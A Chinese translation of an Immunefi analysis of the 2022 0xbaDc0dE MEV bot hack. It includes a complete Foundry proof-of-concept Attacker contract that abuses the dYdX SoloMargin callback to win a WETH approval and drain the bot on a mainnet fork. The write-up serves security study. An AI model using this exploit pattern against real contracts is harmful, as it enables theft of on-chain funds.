0xbaDc0dE套利机器人攻击分析

区块链安全 1年前 (2023) admin
462 0 0
01
简介

在2022年9月27日,一个被写成智能合约的套利机器人在以太坊链上遭到黑客攻击,损失了大约1101WETH,在攻击当天价值约146万美元。有趣的是,黑客攻击发生在套利机器人无耻地完成这一次套利后仅仅30分钟,而该次套利为其赢得了804WETH–单比套利交易的利润约为100万美元。

该套利机器人以0xbad 被人们所熟知,该名称来自链上地址0xbaDc0d的开头。这两笔交易(套利和攻击)为75天的套利交易加冕,正如Rekt News所说:”展现了一个链上美妙的因果报应”。

这次攻击一个有趣的方面是,与正常DeFi协议黑客攻击相反,有缺陷的合约的源码并没有在浏览器上发布与验证。换句话说,我们无法使用任何用于开发智能合约的高级语言如solidity、viper或其他任何可以编译为EVM字节码的语言。因此我们必须解决了链上的调查,即调查过去的交易和MEV机器人编译后的字节码。

在本文中,我们将在不查看任何合约源码的情况下分析0xbad套利机器人智能合约中被利用的漏洞。我们将分析这个巨大利润的套利交易,看看能在其中学到些什么,并尝试一些反编译工具去帮助我们与黑客达到相同的结果。在链上调查完成后,我们将创建自己版本的攻击来耗尽MEV机器人的所有资金,并使用本地fork来进行测试。完整的poc在此:https://github.com/immunefi-team/hack-analysis-pocs/blob/main/src/0xbad-september-2022/Attacker.sol


02
背景

0xbad是以太坊上的智能合约并在Etherscan上被标注为MEV Bot。这是什么意思呢?智能合约的一个关键特点就是他们不能自发地执行;他们需要一些外部的实体来触发代码–一个外部账户(EOA)来开始交易。所以一个MEV机器人其实是链下的某种软件并拥有链的监控功能,在某些情况下会触发链上的一些复杂逻辑–所以他们需要一个部署在链上的智能合约。

现在MEV (Maximal Extractable Value) 是一个完整的兔子洞。它有通过在区块中重新排序或添加交易来获取利润的能力。有非常有益的MEV行为。比如,它可以提高市场的效率。但是一些形式的套利却对用户有害,像抢跑和三明治攻击和其他更复杂的形式。MEV最基本的形式就是在整个区块链黑暗森林中探索经济奖励。

回到我们的机器人。它是一个在以太坊公链上的智能合约。在区块链上存储与公开的是编译后的字节码,它并没有编译它的高级语言的可读性高。但通常,DeFi协议中的智能合约会在etherscan验证并发布源码。对于我们的机器人的例子,etherscan向我们展示了下图:
0xbaDc0dE套利机器人攻击分析
一个经过训练和熟悉EVM字节码的人可以发现一些不同的东西,如0x60806040就是solidity编译的字节码的典型特征。但毫无疑问,他的可读性很差。这提出了一个挑战:我们该如何调查智能合约,而黑客是怎么找到其中的漏洞呢?

我们尝试使用一些反编译工具,但是我们首先先看看这个有名的套利交易对MEV Bot的看法。


03
交易调查

我们不会深入探讨机器人是如何套到巨额利润的。Halborn对该主题做了简单的解释:https://halborn.com/explained-the-0xbad-mev-bot-hack-september-2022/。简而言之,一位UniswapV2用户尝试用185万美元的cUSDC换成USDC,但由于缺乏流动性,对这次对换带来了巨大的损失,用户只获取到了500美元的USDC。0xbad MEV机器人继续利用这一巨大的滑点并进行了一个复杂的交易,该交易净赚了约100万美元。

交易的调用链:https://tx.eth.samczsun.com/ethereum/0x2a615005a63785284f11a4c5cb803d1935d34e358c10a3b4d76398d2e7bb2f9d
0xbaDc0dE套利机器人攻击分析
一个值得注意的事情是在这个交易中,整个的调用逻辑是用一个delegatecall到另一个合约完成的。在查看其他0xbad交易后,我们可以看到这是一种常见的形式,这意味着0xbad合约本身就像一个复杂实现合约的代理合约。不幸的是,那个合约,我们称之为0xDd6B,也是没有通过验证的。

交易查看器还提供了0xbad上的slod操作。我们可以看到,0xDd6B的地址被加载在storage slot的0x00位置。如果我们使用Dedaub的在线反编译器,我们可以获取到以下推断的存储布局:
0xbaDc0dE套利机器人攻击分析
我们知道0xDd6B的地址在0x00slot,这意味着我们正在处理stor_0_0_19变量。如果进一步分析反编译后的源代码,我们看到它的用法:
0xbaDc0dE套利机器人攻击分析
正如我们从交易中期待的那样,从slot 0x00的变量被用作delegatecall的地址。很明显,0xbad代理了一个未定义的函数调用到实现合约,还对msg.sender和其他变量进行检查。0xbad借用了0xDd6B的合约的逻辑来处理自己合约的storage,所以尽管0xDd6B上的逻辑更值得研究,但我们仍然应该看看合约上的其他存储值。
contract MyTest is Test {
function setUp() public {
  vm.createSelectFork("mainnet"15625424);
}


function testRead() public view {
  for (uint i; i < 5; i++) {
    bytes32 stVal = vm.load(0xbaDc0dEfAfCF6d4239BDF0b66da4D7Bd36fCF05A, bytes32(i));
    console.logBytes32(stVal);
  }
}
上面的代码片段是一个foundry测试合约,它将读取0xbad的前5个slot值,这是我们所得到的:
0xbaDc0dE套利机器人攻击分析
不出所料地,我们看到了0xDd6B的地址在slot0x00。但是我们看见了两个其他的地址。正如Dedaub反编译器智能标注的那样,在slot0x01上存储了一个这个合约的拥有者–一个可调用0xbad上函数的EOA。但是slot0x03存储了另一个可以被etherscan识别的地址:它是一个dYdX’s SoloMargin合约。有意思的是,反编译器将该slot命名为owner_3_0_19。是的,因为这个地址也被允许去调用MEV机器人智能合约上的函数


04
通过概念证明进行更深入的挖掘
奇怪的是,具体的SoloMarginheyue 地址存储在0xbad中的一个特殊的位置。但是这个地址拥有调用合约的权限并不会让人感到意外。MEV机器人通常会利用闪电贷,所以他需要实现这些协议所需要的回调。而且这个回调执行需要能运行,所以0xbad允许它用于执行智能合约的闪电贷协议。

Deadub反编译器并没有给我们很多在0xDd6B上的逻辑信息。但是但我们用EtherVM在线反编译器时,我们得到了一些在智能合约中的public方法。特别地,这个工具设法去理解了一些函数签名,因为它们在链上很常见:
0xbaDc0dE套利机器人攻击分析
我们看到了很多函数签名,但正如我们所期待的,已知的是一些DeFi协议的回调函数,这意味着所有的那些协议将会以某种方法调用我们合约,但问题是,交易的进行是否有更多要求?在公共方法中,有callFunction(address,(address,uint256),bytes),是 dYdX 的 SoloMargin 回调函数。这确认了0xbad可以使用dYdX闪电贷。从另一个角度来看,dYdX的SoloMargin合约可以通过闪电贷功能来调用0xbad。

为了测试是否涉及更多要求,我们可以创建一个PoC并在其中调用SoloMargin的闪电贷函数,但将0xbad作为目标值,有效地允许我们执行0xbad的逻辑。
pragma solidity ^0.8.13;

interface SoloMargin {
  enum ActionType {
      Deposit, // supply tokens
      Withdraw, // borrow tokens
      Transfer, // transfer balance between accounts
      Buy, // buy an amount of some token (externally)
      Sell, // sell an amount of some token (externally)
      Trade, // trade tokens against another account
      Liquidate, // liquidate an undercollateralized or expiring account
      Vaporize, // use excess tokens to zero-out a completely negative account
      Call // send arbitrary data to an address
  }
  enum AssetDenomination { Wei, Par }


  enum AssetReference { Delta, Target }


  struct AccountInfo {
      address owner;
      uint256 number;
  }
  struct ActionArgs {
      ActionType actionType;
      uint256 accountId;
      AssetAmount amount;
      uint256 primaryMarketId;
      uint256 secondaryMarketId;
      address otherAddress;
      uint256 otherAccountId;
      bytes data;
  }
  struct AssetAmount {
      bool sign; // true if positive
      AssetDenomination denomination;
      AssetReference ref;
      uint256 value;
  }
  struct Index {
      uint96 borrow;
      uint96 supply;
      uint32 lastUpdate;
  }
  struct Rate {
      uint256 value;
  }
  struct TotalPar {
      uint128 borrow;
      uint128 supply;
  }
  struct Wei {
      bool sign; // true if positive
      uint256 value;
  }


  function operate(
      Account.Info[] calldata accounts,
      ActionArgs[] calldata actions
  )
 external
;
}


library Account {
  struct Info {
      address owner;
      uint256 number;
  }
}
view raw0xbaDc0dE MEV Bot Hack Analysis 2.sol hosted with ❤ by GitHub
我们要做的第一件事是SoloMargin在接口中声明的相关功能,我们执行一个类型的操作 ActionType.Call。
pragma solidity ^0.8.13;


interface SoloMargin {
  enum ActionType {
      Deposit, // supply tokens
      Withdraw, // borrow tokens
      Transfer, // transfer balance between accounts
      Buy, // buy an amount of some token (externally)
      Sell, // sell an amount of some token (externally)
      Trade, // trade tokens against another account
      Liquidate, // liquidate an undercollateralized or expiring account
      Vaporize, // use excess tokens to zero-out a completely negative account
      Call // send arbitrary data to an address
  }
  enum AssetDenomination { Wei, Par }


  enum AssetReference { Delta, Target }


  struct AccountInfo {
      address owner;
      uint256 number;
  }
  struct ActionArgs {
      ActionType actionType;
      uint256 accountId;
      AssetAmount amount;
      uint256 primaryMarketId;
      uint256 secondaryMarketId;
      address otherAddress;
      uint256 otherAccountId;
      bytes data;
  }
  struct AssetAmount {
      bool sign; // true if positive
      AssetDenomination denomination;
      AssetReference ref;
      uint256 value;
  }
  struct Index {
      uint96 borrow;
      uint96 supply;
      uint32 lastUpdate;
  }
  struct Rate {
      uint256 value;
  }
  struct TotalPar {
      uint128 borrow;
      uint128 supply;
  }
  struct Wei {
      bool sign; // true if positive
      uint256 value;
  }


  function operate(
      Account.Info[] calldata accounts,
      ActionArgs[] calldata actions
  )
 external
;
}


library Account {
  struct Info {
      address owner;
      uint256 number;
  }
}
view raw0xbaDc0dE MEV Bot Hack Analysis 2.sol hosted with ❤ by GitHub
SoloMargin.operate的输入内容需要正确设置来允许去调用0xbad就像我们正在向它借出一样,尽管实际上没有任何价值被借出。尽管如此,我们仍需要将我们的攻击者合约地址作为账户所有者传递,否则dYdX将回退我们的交易。
contract MEVBotAttackerTest is Test {
  function setUp() public {
      vm.createSelectFork("mainnet"15625423);
  }


  function testAttack() public {
     Attacker attacker = new Attacker();


     attacker.attack();
  }
}
view raw0xbaDc0dE MEV Bot Hack Analysis 4.sol hosted with ❤ by GitHub
我们的PoC测试只是运行了Attack.attack攻击了一个由Ankr提供的免费公共的rpc聚合器的本地folk。我们选择高度为15625423作为我们的分叉块,这是攻击交易的前一个块,我们可以从图中看到,我们的测试并没有成功:
0xbaDc0dE套利机器人攻击分析
好消息是dYdX的SoloMargin合约调用了0xbad,并且使用delegatecall调用了0xD6B的回调函数。这确认了SoloMargin合约用于正确的权限去调用MEV机器人。坏消息是这个交易在0xDd6B的回调函数中的逻辑回退了。事实证明,事情并不像我们想象的那样简单。生活是艰难的。

尽管如此,我们仍然取得了一些有意义的进展。我们的下一步是去调查0xbad之前调用成功的一些交易。Dedaub的库允许我们过滤交易,以便我们只看到其中调用0XD6B的callFunction。我们设法找到一个成功的交易。0xDd6B执行了以下的回调函数:
  1. WETH.allowance
  2. 一个curve finance合约的exchange函数
  3. USDT.allowance
  4. 同样的Curve函数
  5. USDC.allowance
  6. UniswapV2Router.swapExactTokensForTokens
有趣的是,如果我们选择另外一个拥有相同属性的交易时,callFunction执行了以下函数:
  1. WETH.allowance
  2. Balance Vault的swap函数
  3. wstETH.unwarp
  4. stETH.allowance            
  5. Curve Finance合约的exchange函数
  6. WETH.transfer
我们得出结论,callFunction有各种可能的执行路径并且能够根据需要去调用不同的协议。但这条路径是如何确定的呢?通过仔细检查执行的SoloMargin.operate,我们看到的data字段中有编码数据SoloMargin.ActiionArgs,这正是0xDd6B上的一段操作的编码。举个例子,这里是调用Curve和Uniswap的第一笔交易的部分数据(从这时开始,我们将此交易称为0x8e56)

0xbaDc0dE套利机器人攻击分析

0xDd6B似乎将会有一些逻辑可以硬编码值编码的逻辑(初始的WETH.allowance值没有在数据字段上的完全编码),但也有一些被完全编码的逻辑(Curbe.exchange被编码到data中,包含地址,函数和输入)。如果没有对要可能地址和函数签名进行检查,则可以对任何函数的执行进行编码来执行0xDd6B的逻辑。


05
利用漏洞

没有任何其他可用的反编译工具可以去完全地理解0xDd6B的逻辑。因此,我们需要遵循一个小的试错过程。如果我们向0x8e56传送相同的data,我们会得到error : “UniswapV2Router:EXPIRED”。这是因为deadline参数在UniswapV2Router.swapExactTokensForTokens函数中不再有效。所以我门将它改成一个在未来的随机时间戳–2674487634(16进制编码为0x9F697152)。

如果我们将它再重新运行一次,我们会得到error:”Insufficient output amount”。这来自对0xDd6B的一些检查,如果不满足一些条件,它可能会回退交易。这样的条件可能被编码在data字段中,但是我们可以改为将所有被调用的地址更改为我们的合约,并返回一个可以绕过要求的值,像是原始的0x8e56交易返回的数据。

首先,让我们替换那些被称为Curve和UniswapV2的地址替换为我们的攻击合约地址。如果一切顺利,我们希望在第一次调用exchange时revert,因为我们还没有在我们的合约中编码。但是一个非常有趣的事情已经发生了,这在以前没有发生过:
0xbaDc0dE套利机器人攻击分析
事实证明,这个MEV机器人有一个智能的机制,当授权为0时,该机制将批准调用和花费0xbad的资金!因此,0xbad刚刚批准我们的攻击者合约去花费所有的WETH余额。现在,我们唯一需要做的就是实现调用函数的返回值,这将触发0xbad认为交易一切正常。
function exchange(
      address,
      address _from,
      address,
      uint256,
      uint256
  )
 external view returns (uint) 
{
      if (_from == address(WETH)) {
          return 231461923843;
      } else {
          return 231447057390;
      }
  }


  function swapExactTokensForTokens(
      uint256,
      uint256,
      address[] calldata,
      address,
      uint256
  )
 external pure returns (uint[] memory) 
{
      uint[] memory val = new uint[](2);
      val[0] = 231447057390;
      val[1] = 172301645191573610409;
      return val;
  }
view raw0xbaDc0dE MEV Bot Hack Analysis 5.sol hosted with ❤ by GitHub

该exchange函数将被我们的攻击合约调用两次,一次用于_from == WETH,另一个用于 _from=USDT,所以我们在返回时进行区分。另外的事情是,我们只是返回与0x8e56事务上发生的实际调用返回的完全相同的值。

 function attack() external {
      console.log("Attacker balance: %s", WETH.balanceOf(msg.sender));
      console.log("Bot balance: %s", WETH.balanceOf(mevBot));
      console.log("Attacker allowance: %s", WETH.allowance(mevBot, address(this)));


      Account.Info[] memory accounts = new Account.Info[](1);
      accounts[0] = Account.Info({
          owner: address(this),
          number: 1
      });


      SoloMargin.ActionArgs[] memory actions = new SoloMargin.ActionArgs[](1);
      actions[0] = SoloMargin.ActionArgs({
          actionType: SoloMargin.ActionType.Call,
          accountId: 0,
          amount: SoloMargin.AssetAmount({
              sign: false,
              denomination: SoloMargin.AssetDenomination.Wei,
              ref: SoloMargin.AssetReference.Delta,
              value: 0
          }),
          primaryMarketId: 0,  // WETH market
          secondaryMarketId: 0,
          otherAddress: mevBot,
          otherAccountId: 0,
          data: _buildData()
      });


      solo.operate(accounts, actions);


      console.log("Attacker allowance post operate: %s", WETH.allowance(mevBot, address(this)));


      WETH.transferFrom(mevBot, address(this), WETH.balanceOf(mevBot));


      console.log("Attacker balance post transfer: %s", WETH.balanceOf(address(this)));
      console.log("Bot balance post transfer: %s", WETH.balanceOf(mevBot));
  }
在调用SoloMargin.operate之后,我们期望去拥有足够的津贴发送0xbad的所有WETH到攻击合约,所以我们将其添加到attack函数并加入一些控制台logs。这是我们的PoC测试的最终输出,它可以确认我们成功地偷走了所有的0xbad的WETH:
0xbaDc0dE套利机器人攻击分析


06
结论

0xbad漏洞利用是2022年的一次特别特殊的黑客攻击。这次攻击强调了即使是没有验证过源代码的智能合约中也必须采取适当的安全措施:如果其中有有价值的资产,那么黑客就会尝试试图破解它。

我们了解到有几个交易查看器和反编译器工具可以帮助我们做这些调查。而且随着时间的推移,这些工具只会越变越好。

实际的攻击者使用不同数据和payload来获得WETH授权,然后将这些资金转移到另一笔交易中。使用的原理大致相同:欺骗机器人认为交易正在如期望的执行。我决定自己去调查并尽可能的去接近黑客的心态,而不是看现成的攻击成功的例子。毕竟,黑客也没有现有的攻击payload。

虽然它没有被包括在这篇文章中,但我要感谢Jon Becker,他是非常有前途的Heimdall工具包的作者,他很乐意优化反编译器模块,试图更好地反编译0xDd6B。不幸的是,字节码太复杂了,无法输出有用的反编译,但未来的迭代有望改善返回值。

这就是我们整个PoC的样子,加上一些有用的Foundry日志,以及内部_buildData函数的代码。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;


import "@openzeppelin/token/ERC20/ERC20.sol";
import "forge-std/console.sol";
import "./interfaces.sol";


contract Attacker {
  SoloMargin solo = SoloMargin(0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e);
  ERC20 WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
  address mevBot = 0xbaDc0dEfAfCF6d4239BDF0b66da4D7Bd36fCF05A;


  function attack() external {
      console.log("Attacker balance: %s", WETH.balanceOf(msg.sender));
      console.log("Bot balance: %s", WETH.balanceOf(mevBot));
      console.log("Attacker allowance: %s", WETH.allowance(mevBot, address(this)));


      Account.Info[] memory accounts = new Account.Info[](1);
      accounts[0] = Account.Info({
          owner: address(this),
          number: 1
      });


      SoloMargin.ActionArgs[] memory actions = new SoloMargin.ActionArgs[](1);
      actions[0] = SoloMargin.ActionArgs({
          actionType: SoloMargin.ActionType.Call,
          accountId: 0,
          amount: SoloMargin.AssetAmount({
              sign: false,
              denomination: SoloMargin.AssetDenomination.Wei,
              ref: SoloMargin.AssetReference.Delta,
              value: 0
          }),
          primaryMarketId: 0,  // WETH market
          secondaryMarketId: 0,
          otherAddress: mevBot,
          otherAccountId: 0,
          data: _buildData()
      });


      solo.operate(accounts, actions);


      console.log("Attacker allowance post operate: %s", WETH.allowance(mevBot, address(this)));


      WETH.transferFrom(mevBot, address(this), WETH.balanceOf(mevBot));


      console.log("Attacker balance post transfer: %s", WETH.balanceOf(address(this)));
      console.log("Bot balance post transfer: %s", WETH.balanceOf(mevBot));
  }


  function _buildData() internal view returns (bytes memory) {
      return bytes.concat(
          hex"00000000000000000000000000000000000000000000000000000000000000030000000000000000000000001e0447b19bb6ecfdae1e4ae1694b0c3659614e4e000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000094621152b94a12ee00000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000002e0000000000000000000000000000000000000000000000000000000000000056000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
          bytes20(address(this)),
          hex"000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000",
          bytes20(address(this)),
          hex"0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000a44798ce5b000000000000000000000000d51a44d3fae010294c616388b506acda1bfaae46000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
          bytes20(address(this)),
          hex"000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000",
          bytes20(address(this)),
          hex"0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000a44798ce5b000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c7000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
          bytes20(address(this)),
          hex"000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4800000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000",
          bytes20(address(this)),
          hex"000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000000000000000000000000000000000000000010438ed17390000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000badc0defafcf6d4239bdf0b66da4d7bd36fcf05a000000000000000000000000000000000000000000000000000000009f6971520000000000000000000000000000000000000000000000000000000000000002000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000002"
      );
  }


  function exchange(
      address,
      address _from,
      address,
      uint256,
      uint256
  )
 external view returns (uint) 
{
      if (_from == address(WETH)) {
          return 231461923843;
      } else {
          return 231447057390;
      }
  }


  function swapExactTokensForTokens(
      uint256,
      uint256,
      address[] calldata,
      address,
      uint256
  )
 external pure returns (uint[] memory) 
{
      uint[] memory val = new uint[](2);
      val[0] = 231447057390;
      val[1] = 172301645191573610409;
      return val;
  }
}
view raw0xbaDc0dE MEV Bot Hack Analysis 7.sol hosted with ❤ by GitHub

原文

https://medium.com/immunefi/0xbadc0de-mev-bot-hack-analysis-30b9031ff0ba

       

原文始发于微信公众号(山石网科安全技术研究院):0xbaDc0dE套利机器人攻击分析

版权声明:admin 发表于 2023年2月10日 上午11:32。
转载请注明:0xbaDc0dE套利机器人攻击分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...